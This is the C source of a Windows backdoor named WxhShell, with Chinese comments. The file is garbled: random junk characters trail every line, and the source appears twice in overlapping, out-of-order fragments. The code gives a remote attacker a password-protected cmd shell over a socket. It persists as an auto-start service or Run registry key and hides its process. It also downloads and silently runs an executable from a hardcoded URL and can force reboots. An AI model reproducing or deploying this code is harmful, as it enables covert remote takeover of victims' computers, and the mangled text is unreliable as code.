    closesocket(wsh); &Gjpc>d  
    ExitThread(0); (p{%]M  
    } UqI #F  
    break; (M$0'BV0  
    } G<e+sDQ2  
  // 获取shell g8N"-j&@  
  case 's': { AOZ C D{  
    CmdShell(wsh); _ l|%~  
    closesocket(wsh); QcL@3QC  
    ExitThread(0); \W .CHSD  
    break; d}4NL:=&  
  } (U.Go/A#wE  
  // 退出 ?Z 2,?G  
  case 'x': { QFx3N%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kw$ 7G1Q  
    CloseIt(wsh); gS~H1Ro  
    break; &`I(QY  
    } \:4*h  
  // 离开 k`m7j[A]l  
  case 'q': { %3a-@!|1<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ML_VD*t9  
    closesocket(wsh); m`-);y  
    WSACleanup(); Qb^G1#r@C  
    exit(1); @ !P2f   
    break; w w^\_KGu7  
        } JJd qdX;  
  } 2'?'dfj  
  } @wcF#?J  
WiytHuUF  
  // 提示信息 n{;Q"\*Sg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RE;A 0E_3  
} @GN2v,WA?  
  } \EfX3ghPI  
mITB\,,G  
  return; -'$ob~*  
} L[Vk6e  
[h3xW  
// shell模块句柄 G\gjCp?!  
int CmdShell(SOCKET sock) |/gt;H~:  
{ cX-M9Cz  
STARTUPINFO si; 6j(/uF4!#  
ZeroMemory(&si,sizeof(si)); W'@ |ob  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r"dIB@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZIx-mC5  
PROCESS_INFORMATION ProcessInfo; gyvrQ, u  
char cmdline[]="cmd"; ,R[$S"]!SH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l ;:IL\*1I  
  return 0; uxf,95<g)  
} E@SFK=`  
6YM X7G]  
// 自身启动模式 dQj/ Sr  
int StartFromService(void) W"Ip]LJ  
{ @)U.Dbm  
typedef struct #3rS{4[  
{ StI N+S@Z  
  DWORD ExitStatus; MLWHO$C~T  
  DWORD PebBaseAddress; |Vpp'ipr  
  DWORD AffinityMask; IA`voO$  
  DWORD BasePriority; 7_\sx7h{3  
  ULONG UniqueProcessId; =p@`bx  
  ULONG InheritedFromUniqueProcessId; :lB*kmg  
}   PROCESS_BASIC_INFORMATION; P-\f-FS  
&42 ]#B"*  
PROCNTQSIP NtQueryInformationProcess; lMY\8eobcB  
! UT'4Fs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8o5[tl ?w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *E/Bfp1LIe  
uos8Mav{E  
  HANDLE             hProcess; = 7y-o  
  PROCESS_BASIC_INFORMATION pbi; yvB]rz} i  
RAO+<m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >-MnB  
  if(NULL == hInst ) return 0; Ms!EK  
*I]]Ogpq=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,R{&x7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &O' W+4FAc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZE=sw}=  
*J-pAN  
  if (!NtQueryInformationProcess) return 0; jR/Gd01)  
Ugri _  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =<n ]T;  
  if(!hProcess) return 0; xk,Uf,,>  
_EMI%P& s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ' ##?PQ*u  
q}@L"a`  
  CloseHandle(hProcess); Z@Rm^g]o  
5T;LWS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w 0BphK[  
if(hProcess==NULL) return 0; 0>|q[SC  
qd0G sr}j  
HMODULE hMod; F1yn@a "=J  
char procName[255]; V8n { k'  
unsigned long cbNeeded; :=NXwY3~M  
g6Vkns4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  ew1L+  
8:TX9`,  
  CloseHandle(hProcess); bg zd($)u  
| 1B0  
if(strstr(procName,"services")) return 1; // 以服务启动 -N' (2'  
KTm^}')C8  
  return 0; // 注册表启动 M}|(:o3Yo  
} #z(:n5$F  
1TZ[i  
// 主模块 Ij#mmj NW  
int StartWxhshell(LPSTR lpCmdLine) |nQfgl=V  
{ v<1@"9EH  
  SOCKET wsl; Z[@ i/. I  
BOOL val=TRUE; oKn$g[,SJh  
  int port=0; MRpMmu  
  struct sockaddr_in door; @D9O<x  
M XG>|  
  if(wscfg.ws_autoins) Install(); pf8'xdExH)  
L2VwW  
port=atoi(lpCmdLine); Q,NnB{R  
\n_7+[=E  
if(port<=0) port=wscfg.ws_port; \:m~ +o$<-  
*ra)u-  
  WSADATA data; $1])>m_ct  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?\\wLZ  
2U./ Yfk\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F8w7N$/V",  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2O kID WcM  
  door.sin_family = AF_INET; =CQfs6np:N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2c Xae  
  door.sin_port = htons(port); ci;2XLAM  
NO*, }aeG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qJ;~ANwt  
closesocket(wsl); J`5VE$2M  
return 1; Vg$d|m${  
} E3wpC#[Q1  
>v,X:B?+FL  
  if(listen(wsl,2) == INVALID_SOCKET) { m'2F#{  
closesocket(wsl); "r6qFxY  
return 1; 1sXCu|\q  
} U.TZd"  
  Wxhshell(wsl); :cA P{rSe  
  WSACleanup(); `he# !"  
O8Mypv/C  
return 0; D*.3]3-I  
Ny"9!3V   
} Sj ovL@X  
ho>@ $9  
// 以NT服务方式启动 | co#X8J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8J,^O04<  
{ !hHe`  
DWORD   status = 0; gNr4oOR{  
  DWORD   specificError = 0xfffffff; ^?e[$}  
\gP?uJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ](oeMl18R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M.H!dZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GIlaJ!/  
  serviceStatus.dwWin32ExitCode     = 0; )nHMXZ>Td  
  serviceStatus.dwServiceSpecificExitCode = 0; 7b1 yF,N  
  serviceStatus.dwCheckPoint       = 0; w (HVC  
  serviceStatus.dwWaitHint       = 0; Ow-ejo  
Yh]a4l0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g;Fd m5Q  
  if (hServiceStatusHandle==0) return; `pbCPa{Y  
"0!#De  
status = GetLastError(); MO ~T_6  
  if (status!=NO_ERROR) ky !Z JR  
{ I 6WHC*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M0m%S:2  
    serviceStatus.dwCheckPoint       = 0; %#% YU|4R  
    serviceStatus.dwWaitHint       = 0; >XZ2w_  
    serviceStatus.dwWin32ExitCode     = status; -}@C9Ja[?  
    serviceStatus.dwServiceSpecificExitCode = specificError; &# fPJc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qo9&e~Y<G  
    return; 1N),k5I  
  } oxFd@WV5  
K;/f?3q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .NdsKhg b  
  serviceStatus.dwCheckPoint       = 0; CMC p7- v  
  serviceStatus.dwWaitHint       = 0; a3A-N] ;f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8k{XUn  
} Q-, 4  
'5$: #|-  
// 处理NT服务事件,比如:启动、停止 q|YnNk>1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !o'a]8  
{ ++2a xRl  
switch(fdwControl) (6[<+j&.  
{ KXTk.\c  
case SERVICE_CONTROL_STOP: (QFZM"G  
  serviceStatus.dwWin32ExitCode = 0; =2Ju)!%wr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |x.[*'X@  
  serviceStatus.dwCheckPoint   = 0; "=?JIQ  
  serviceStatus.dwWaitHint     = 0; rDaiA x&  
  { F\+9u$=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 937<:zo:  
  } "7 alpjwb  
  return;  t":^:i'M  
case SERVICE_CONTROL_PAUSE: \(Dm\7Q.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #)D$\0ag  
  break; S@\&^1;4Hv  
case SERVICE_CONTROL_CONTINUE: k;umLyz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !G;BYr>X  
  break; fNr*\=$  
case SERVICE_CONTROL_INTERROGATE: aS3-A 4  
  break; uF,%N   
}; W[!bF'- 10  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^CwS'/fdN  
} };(2 na  
5;{*mJ:F  
// 标准应用程序主函数 yj,+7[)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5k_%%><: q  
{ PClwGO8'&  
A}!D&s&UH  
// 获取操作系统版本 '@^<c#h]=  
OsIsNt=GetOsVer(); DKQQZ` PF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~}YgZ/U7T  
.R+n}>+K  
  // 从命令行安装 bxz6 >>  
  if(strpbrk(lpCmdLine,"iI")) Install(); .@(MNq{"6  
:fG9p`  
  // 下载执行文件 wu0J XB%&^  
if(wscfg.ws_downexe) { "^pF2JI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +Y~,1ai 5^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9&c *%mm  
} imS&N.*3m  
]=^NTm,  
if(!OsIsNt) { )N ^g0 L  
// 如果时win9x,隐藏进程并且设置为注册表启动 AQBr{^inH|  
HideProc(); <CP't[  
StartWxhshell(lpCmdLine); cRPy5['E  
} cMt , 80  
else 4s&koH(x  
  if(StartFromService()) C"}]PW  
  // 以服务方式启动 ;S>ml   
  StartServiceCtrlDispatcher(DispatchTable); QEL3b4Vm  
else +QrbW  
  // 普通方式启动 {u7_<G7  
  StartWxhshell(lpCmdLine); 1lUY27MF  
g|3FJA/  
return 0; bO{wQ1)Z_  
} .!Q[kn0a  
rUF= uO(  
x:Tm4V{  
0Z[8d0  
=========================================== 7+p=4i^@Zs  
d 'wWj  
V@>s]]HMq#  
*}i.,4+y   
*C(XGX\?-  
Q[F$6m%o  
" D(S^g+rd  
b _0Xi  
#include <stdio.h> @xtfm.}  
#include <string.h> T%:W6fH7  
#include <windows.h> bxg9T(Bj  
#include <winsock2.h> |N>TPK&Xt  
#include <winsvc.h> 1@0ZP~LTB  
#include <urlmon.h> Hq$?-%4  
#PRkqg+|  
#pragma comment (lib, "Ws2_32.lib") ?\Jl] {i2  
#pragma comment (lib, "urlmon.lib") {7X80KI  
'%9e8C|  
#define MAX_USER   100 // 最大客户端连接数 *9Nq^+  
#define BUF_SOCK   200 // sock buffer -5yEd>Z  
#define KEY_BUFF   255 // 输入 buffer a2un[$Jq`  
1vBXO bk  
#define REBOOT     0   // 重启 y| %rW  
#define SHUTDOWN   1   // 关机 Ol]+l]  
{o[ *S%Z"  
#define DEF_PORT   5000 // 监听端口 n P4DHb&5  
S2fBZ=V8  
#define REG_LEN     16   // 注册表键长度 7fJWb)z!k  
#define SVC_LEN     80   // NT服务名长度 toCT5E_0=  
Fn!kest  
// 从dll定义API 3v%V\kO=F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +O @0gl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wg=ge]E5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }A%Sx!7~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jsG epi9  
{aWTT&-N  
// wxhshell配置信息 @nS+!t{  
struct WSCFG { ?8Hr 9  
  int ws_port;         // 监听端口 !1}A\S  
  char ws_passstr[REG_LEN]; // 口令 /u 8m|S<  
  int ws_autoins;       // 安装标记, 1=yes 0=no Rx 4 ;X  
  char ws_regname[REG_LEN]; // 注册表键名 i7w>Nvj]  
  char ws_svcname[REG_LEN]; // 服务名 Z;QbqMj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IPoNAi<b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O?9&6x   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 : )\<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K Zw"?%H[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m. G}# /  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (W| Eg  
l(@UpV-  
}; Vx^+Z,y&QP  
^U.8grA  
// default Wxhshell configuration !e >EDYbY  
struct WSCFG wscfg={DEF_PORT, iy{*w&p  
    "xuhuanlingzhe",  # xS8  
    1, /bj D*rj  
    "Wxhshell", hp]T^  
    "Wxhshell", g,!6, v@  
            "WxhShell Service", VSCOuNSc  
    "Wrsky Windows CmdShell Service", ;_GS<[A3  
    "Please Input Your Password: ", .R` {.~_{!  
  1, "Fu*F/KW  
  "http://www.wrsky.com/wxhshell.exe", ^E8XPK]-~  
  "Wxhshell.exe" $4y;F]  
    }; \4`~ J@5Y  
~ FW@  
// 消息定义模块 CCOd4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2 Ke?*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^|?/ y=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8M;VX3X  
char *msg_ws_ext="\n\rExit."; vJT %ET  
char *msg_ws_end="\n\rQuit."; c@%:aiEl  
char *msg_ws_boot="\n\rReboot..."; |~Hlv^6H  
char *msg_ws_poff="\n\rShutdown..."; +v3@WdLcD  
char *msg_ws_down="\n\rSave to "; ++Qg5FukR  
-gl7mO*  
char *msg_ws_err="\n\rErr!"; W~J@v@..4  
char *msg_ws_ok="\n\rOK!"; 4 e1=b,  
WhsTKy&E  
char ExeFile[MAX_PATH]; Lf|5miO  
int nUser = 0; z!quA7s<]  
HANDLE handles[MAX_USER]; mYf7?I~  
int OsIsNt; %l!Gt"\xm  
ML!Z m[I9  
SERVICE_STATUS       serviceStatus; w%&lCu@v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UUGwXq96i  
Iq`:h&'!L  
// 函数声明 rYbb&z!u  
int Install(void); SyFO f  
int Uninstall(void); Bkvh]k;F8  
int DownloadFile(char *sURL, SOCKET wsh); q$Z.5EN  
int Boot(int flag); u;m[,  
void HideProc(void); 6C>"H  
int GetOsVer(void); )2KQZMtgm]  
int Wxhshell(SOCKET wsl); /(Se:jH$>  
void TalkWithClient(void *cs); gf()NfUvRH  
int CmdShell(SOCKET sock); /l-lkG5  
int StartFromService(void); pZx'%-\-T  
int StartWxhshell(LPSTR lpCmdLine); u/3 4E=  
&)@|WLW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o;+$AU1f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M[N$N`9  
sf\p>gb  
// 数据结构和表定义 a%a_sR\)  
SERVICE_TABLE_ENTRY DispatchTable[] = |[/[*hDZ9  
{ 5T)qn`%  
{wscfg.ws_svcname, NTServiceMain}, FMCX->}$  
{NULL, NULL} c=iv\hn  
}; 7jIye8Zi8  
e)kN%JqW  
// 自我安装 ,"~#s(  
int Install(void) @0cQ4}  
{ 4viP lO  
  char svExeFile[MAX_PATH]; ;*K@8GnU  
  HKEY key; AV\6K;~  
  strcpy(svExeFile,ExeFile); $Cw> z^}u  
eHUr!zH:  
// 如果是win9x系统,修改注册表设为自启动 bM[!E8dF  
if(!OsIsNt) { .}W#YN$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m%Ah]x;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #jAlmxN  
  RegCloseKey(key); x9Veg4Z7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RN(>37B3_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I^>m-M.  
  RegCloseKey(key); gPs%v`y)*D  
  return 0; R0dIxG%  
    } w8$rt  
  } dHp(U :)  
} &VG|*&M  
else { {kGcZf3h  
$e66jV  
// 如果是NT以上系统,安装为系统服务 n]$50_@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DK8eFyG^2  
if (schSCManager!=0) d4OWnPHv&}  
{ =\;yxl  
  SC_HANDLE schService = CreateService w E^6DNh  
  ( d1YE$   
  schSCManager, y{CyjYpz^  
  wscfg.ws_svcname, H'N$Vv2q  
  wscfg.ws_svcdisp, TX7B(JZD  
  SERVICE_ALL_ACCESS, #jdo54-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DA'A-C2  
  SERVICE_AUTO_START, ^fVLM>p<;  
  SERVICE_ERROR_NORMAL, >05_#{up  
  svExeFile, !Z +4FwF  
  NULL, P|mV((/m4  
  NULL, jx_n$D  
  NULL, Wez"E2J`  
  NULL, r83chR9  
  NULL 9GdQ$^m  
  ); 9Yih%d,  
  if (schService!=0) ;4DqtR"7Y  
  { "YLH]9"=  
  CloseServiceHandle(schService); Xq"@Z  
  CloseServiceHandle(schSCManager); V_Owi5h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H]v"_!(\  
  strcat(svExeFile,wscfg.ws_svcname); tEEeek(!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a&yIH;-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ta;'f7Oz  
  RegCloseKey(key); b"x[+&%i  
  return 0; V. sIiE  
    } rG7S^,5o  
  } C~\/FrO?  
  CloseServiceHandle(schSCManager); -P!_<\q\l  
} X ?p_O2#k  
} hVQ TW[  
6L--FY>.-  
return 1; &%YFO'>>}  
} XRU^7@Ylks  
v/%q*6@  
// 自我卸载 E8]PV,#xY  
int Uninstall(void) UPtWj8h  
{ y?BzZ16\bL  
  HKEY key; ni @Mqb  
Zkn$D:  
if(!OsIsNt) { G/tah@N[7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZSL:q%:.  
  RegDeleteValue(key,wscfg.ws_regname); A/kRw'6  
  RegCloseKey(key); cI#2MjL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v@OyB7}  
  RegDeleteValue(key,wscfg.ws_regname); K*&?+_v :  
  RegCloseKey(key); "zJGYBen  
  return 0; b"Ep?=*5  
  } \<ohe w  
} ~'/I[y4t  
} UloZo? e`  
else { Iq&S6l <0  
5gpqN)|)[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F">>,Oc)U"  
if (schSCManager!=0) .HTX7mA3  
{ t(SSrM]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A=X2zm>9  
  if (schService!=0) C#]%  
  { xJ"CAg|B  
  if(DeleteService(schService)!=0) { -"L)<J@gQ?  
  CloseServiceHandle(schService); % I]?xe6  
  CloseServiceHandle(schSCManager); f3h&K}x  
  return 0; R#Z1+&='  
  } hv xvwV1  
  CloseServiceHandle(schService); s^_E'j$  
  } #k%3Ag  
  CloseServiceHandle(schSCManager); nU"V@_?\  
} -la~p~8  
} =l`xXma  
1\d$2N"  
return 1; bTzVmqGY  
} ^ K8JE,  
#80*3vi~F  
// 从指定url下载文件 <@C Bc:j0  
int DownloadFile(char *sURL, SOCKET wsh) @Kri)U i  
{ 5 Vm |/  
  HRESULT hr; Vy = fm  
char seps[]= "/"; S3"js4a  
char *token; ;S+c<MSl  
char *file; HF-Msu6  
char myURL[MAX_PATH]; rVkoj;[  
char myFILE[MAX_PATH]; G+ =6]0HT  
pk'@!|g%=  
strcpy(myURL,sURL); FAu G`zu  
  token=strtok(myURL,seps); 2tvMa%1^  
  while(token!=NULL) z`uqK!v(K  
  { WNT m  
    file=token; d#T8|#O"  
  token=strtok(NULL,seps); 7p}G!]`  
  } zx\N^R;Jq  
)@Yp;=l  
GetCurrentDirectory(MAX_PATH,myFILE); qR<  
strcat(myFILE, "\\"); amf=uysr  
strcat(myFILE, file); ,eRl Z3T  
  send(wsh,myFILE,strlen(myFILE),0); =$5[uI2  
send(wsh,"...",3,0); uPe4Rr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 96F:%|yG  
  if(hr==S_OK) o}5:vi]  
return 0; wxZnuCO%H8  
else lwLK#_5u  
return 1; yz-IZt(  
!)tXN=(1a  
} 6<H[1PI`,G  
,TU!W|($  
// 系统电源模块 9#%(%s 2 +  
int Boot(int flag) +7<{yP6wU  
{ bl\44VK2'  
  HANDLE hToken; 6__@?XzJ  
  TOKEN_PRIVILEGES tkp; #ITx[X89|  
fD q, )~D  
  if(OsIsNt) { ac.O#6&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  Xvs{2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^e8R 43w:!  
    tkp.PrivilegeCount = 1; {mL/)\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~U8#Iq1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c}mJ6Pt  
if(flag==REBOOT) { p'k stiB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oO @6c%  
  return 0; ^iubqtT]  
} S^)r,cC  
else { *D<S \6=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H'I|tPs  
  return 0; LH 4-b-  
} !U>"H8}dv  
  } Kggf!\MR8  
  else { J+\F)k>r  
if(flag==REBOOT) { O)Nt"k7 b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sNvT0  
  return 0; RYE::[O7  
} joDfvY*[  
else { `P/*x[?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QY+#Vp<`  
  return 0; g8XGZW!  
} +nuv?QB/  
} `1EBnL_1  
w^|,[G ^}H  
return 1; /N%f78 Z  
} 3N+P~v)T'  
EFql g9bK  
// win9x进程隐藏模块 8fM}UZI  
void HideProc(void) xOT'4v&.  
{ *, *"G?  
3!Qt_,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,zXL8T  
  if ( hKernel != NULL ) ]Jnf. 3  
  { c;U\nC<Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h| UT/:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |B`-chK  
    FreeLibrary(hKernel); 18[f_0@ #  
  } iqy}|xAU  
sF+0v p  
return; WKah$l  
} x(]s#D!)  
6S6nE%.3  
// 获取操作系统版本 >.{ ..~"K  
int GetOsVer(void) {Y/| 7Cl0  
{ ]3={o3[:  
  OSVERSIONINFO winfo; M8[YW|VkP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "[[fQpe4@  
  GetVersionEx(&winfo); @0 -B&w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C9=f=sGL  
  return 1; e<9nt [  
  else 'R,d?ikY  
  return 0; #eUfwd6.Y  
} |Y'$+[TE  
{t=Nnc15K  
// 客户端句柄模块 Z$ftG7;P0  
int Wxhshell(SOCKET wsl) =\XAD+  
{ U~H'c p  
  SOCKET wsh; 21o_9=[^  
  struct sockaddr_in client; "L8V!M_e  
  DWORD myID; Q|ik\  
Tby+Pd;  
  while(nUser<MAX_USER) LV]\{'  
{ +XpRkX&-  
  int nSize=sizeof(client); l4/TJ%`MG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }MIH{CMH  
  if(wsh==INVALID_SOCKET) return 1; ZH0f32K  
'nT#3/rL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?1N0+OW   
if(handles[nUser]==0) &\"fH+S  
  closesocket(wsh); p +T&9  
else /ruf1?\,R  
  nUser++; ;! 9_5Ar%  
  } ! 4oIx`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); > T-O3/KN  
|wLQ)y*  
  return 0; ;etQ  
} d|o"QYX  
xlwsZm{V  
// 关闭 socket 9{TOFjsF  
void CloseIt(SOCKET wsh) 1|nB\xgu  
{ \ yOZ&qU  
closesocket(wsh); 4z*_,@OA  
nUser--; X*JD  
ExitThread(0); i&HV8&KygN  
} Rke:*(p*n;  
h7y*2:l6  
// 客户端请求句柄 xg^fM@#m  
void TalkWithClient(void *cs) -$0S#/)Z  
{ f9Xw]G9  
rL s6MY  
  SOCKET wsh=(SOCKET)cs; u]2k%TUY  
  char pwd[SVC_LEN]; L_.}z)S[\  
  char cmd[KEY_BUFF]; h4qR\LX  
char chr[1]; !6%G%ZG@3-  
int i,j; ZF t^q /pw  
q@sH@-z4]  
  while (nUser < MAX_USER) { ?hmb"^vlG  
9@1W=sl  
if(wscfg.ws_passstr) { v8@dvT<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +,-r b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MMAC,4  
  //ZeroMemory(pwd,KEY_BUFF); *Vc=]Z2G^  
      i=0; +|H'I j$  
  while(i<SVC_LEN) { FO5SXwx  
O.E0LCABC  
  // 设置超时 6~8 RFf"  
  fd_set FdRead; AFFLnLA<L  
  struct timeval TimeOut; h|H;ZC(B  
  FD_ZERO(&FdRead); NN:TT\!v  
  FD_SET(wsh,&FdRead);  KC(Ug4  
  TimeOut.tv_sec=8; 3?XLHMxW  
  TimeOut.tv_usec=0; bT8UmR98  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I;v`o{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CHU'FSq!  
2|=_kN8;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L C7LO  
  pwd=chr[0]; O9_YVE/-]  
  if(chr[0]==0xd || chr[0]==0xa) { GVM#Xl}w9  
  pwd=0; VM,ZEt3Vy  
  break; GWVdNYpmr  
  } gQEV;hCO  
  i++; 8<kme"% s  
    } N93E;B  
Pc7: hu  
  // 如果是非法用户,关闭 socket XZInu5(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PsgzDhRv  
} $"8k|^Z3  
SIl g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }$)<k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zvf]}mNx  
Tpukz_F  
while(1) { 8joQPHkI\  
gJ&!w8v.  
  ZeroMemory(cmd,KEY_BUFF); nsT|,O  
;Kf|a}m-  
      // 自动支持客户端 telnet标准   kOCxIJ!Xp=  
  j=0; ]~^/w}(K  
  while(j<KEY_BUFF) { nIjQLx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9NP l]iA)  
  cmd[j]=chr[0]; Q 8rtZ  
  if(chr[0]==0xa || chr[0]==0xd) { Oi0;.< kX  
  cmd[j]=0; iy]}1((hR  
  break; E(tBN]W.  
  } NXBOo  
  j++; 32iI :u  
    } i6d$/ yP"  
m-89nOls  
  // 下载文件 ,}tdfkZFYl  
  if(strstr(cmd,"http://")) { Jg:-TK/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mr!I}I7x&x  
  if(DownloadFile(cmd,wsh))  nvPE N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DANSexW  
  else U!/nD~A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EKPTDKut  
  } fmJWd|  
  else { t^,Qy.L0  
 +Rgw+o  
    switch(cmd[0]) { xacLlX+  
  Qcy`O m^2  
  // 帮助 DOVX$N$3  
  case '?': { ?@?a}  
